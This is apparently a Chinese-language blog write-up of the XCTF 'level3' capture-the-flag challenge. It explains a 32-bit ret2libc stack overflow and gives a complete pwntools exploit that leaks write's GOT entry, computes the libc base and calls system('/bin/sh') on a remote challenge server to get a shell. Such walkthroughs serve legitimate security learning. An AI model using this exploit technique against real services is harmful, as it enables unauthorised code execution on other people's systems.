Featured image of post Xctf level3

Xctf level3

来自攻防世界的一道 ret2libc 栈溢出题。
附件带有 libc 共享库:

1
level3  libc_32.so.6

checkesc 查看保护:

1
2
3
4
5
6
7
8
❮ pwn checksec --file=level3
[*] '/data/Hack/tmp/level3'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

32 位 elf 开启了 NX 保护。
IDA pro 反编译出来进入 vulnerable_function 函数,使用 read 函数向 buf 读入 0x100 字节的数据,但实际 buf 只有 0x88 字节,可以栈溢出。

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
  _BYTE buf[136]; // [esp+0h] [ebp-88h] BYREF

  write(1, "Input:\n", 7u);
  return read(0, buf, 0x100u);
}

通过这个可以知道只要注入了 0x88 + 0x4 就能开始对返回地址进行注入了。
但是 level3 没有 system 函数,只能通过附件给的 libc 获得 system 函数。
因为 ASLR 所以 libc 的加载地址是随机的,但是可以通过计算偏移量来获得我们需要的函数。
计算偏移量首先需要先计算 write 的真实地址,而 write_got 存储的就是 write 的真实地址,通过对 write 的真实地址减去 write 在 libc 的地址就可以获得 libc 当前的偏移量。
借助偏移量就可以获得 system 的实际地址了。

1
2
elfLevel3 = ELF("./level3")
elfLibc = ELF("./libc_32.so.6")

通过 ELF 类读取 level3 和 libc 的信息。

1
2
3
writePlt = elfLevel3.plt["write"]
writeGot = elfLevel3.got["write"]
mainAddr = elfLevel3.symbols["main"]

通过 ELF 类可以获得 plt got 和符号的地址。
我们需要进行两次的注入攻击,第一次获得偏移量,第二次根据偏移量使用 system 函数获得 shell。让第一次 write 返回地址为 main 函数地址就可以做到。
首先是第一次攻击载荷:

1
2
3
4
5
6
7
8
payload1 = (
    b"a" * (0x88 + 0x4)
    + p32(writePlt)
    + p32(mainAddr)
    + p32(0)
    + p32(writeGot)
    + p32(4)
)

进行注入

1
2
3
p.recvuntil(b"Input:\n")
p.sendline(payload1)
writeRealGot = (u32(p.recv()))

这里向标准输出了 writeGot 的内容,也就是 write 的真实地址。
接下来计算偏移量:

1
libcOffset = writeRealGot - elfLibc.symbols['write']

通过偏移量计算 system 的实际地址:

1
systemAddr = libcOffset + elfLibc.symbols['system']

我们还需要获得 ‘/bin/sh’ 这个字符串,可以使用 ROPgabgat 尝试在 libc 里面寻找 gabget 片段。

1
2
3
4
❯ ROPgadget --binary libc_32.so.6 --string '/bin/sh'
Strings information
============================================================
0x0015902b : /bin/sh

这里的地址还是在 libc 的地址,还是需要加上偏移量才是实际地址。
最终和第一次 payload 一样,只不过 write 换成 system 而已。

1
payload2 = b'a' * (0x88 + 0x4) + p32(systemAddr) + p32(0) + p32(binshAddr)

最终 exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python

from pwn import *

context.log_level = 'debug'
p = remote("61.147.171.105", 59894)

elfLevel3 = ELF("./level3")
elfLibc = ELF("./libc_32.so.6")

writePlt = elfLevel3.plt["write"]
writeGot = elfLevel3.got["write"]
mainAddr = elfLevel3.symbols["main"]
binshAddr = 0x0015902b
payload1 = (
    b"a" * (0x88 + 0x4)
    + p32(writePlt)
    + p32(mainAddr)
    + p32(0)
    + p32(writeGot)
    + p32(4)
)

p.recvuntil(b"Input:\n")
p.sendline(payload1)
writeRealGot = (u32(p.recv()))

libcOffset = writeRealGot - elfLibc.symbols['write']
systemAddr = libcOffset + elfLibc.symbols['system']
binshAddr += libcOffset
payload2 = b'a' * (0x88 + 0x4) + p32(systemAddr) + p32(0) + p32(binshAddr)
p.recvuntil(b"Input:\n")
p.sendline(payload2)
p.interactive()
萌ICP备20241614号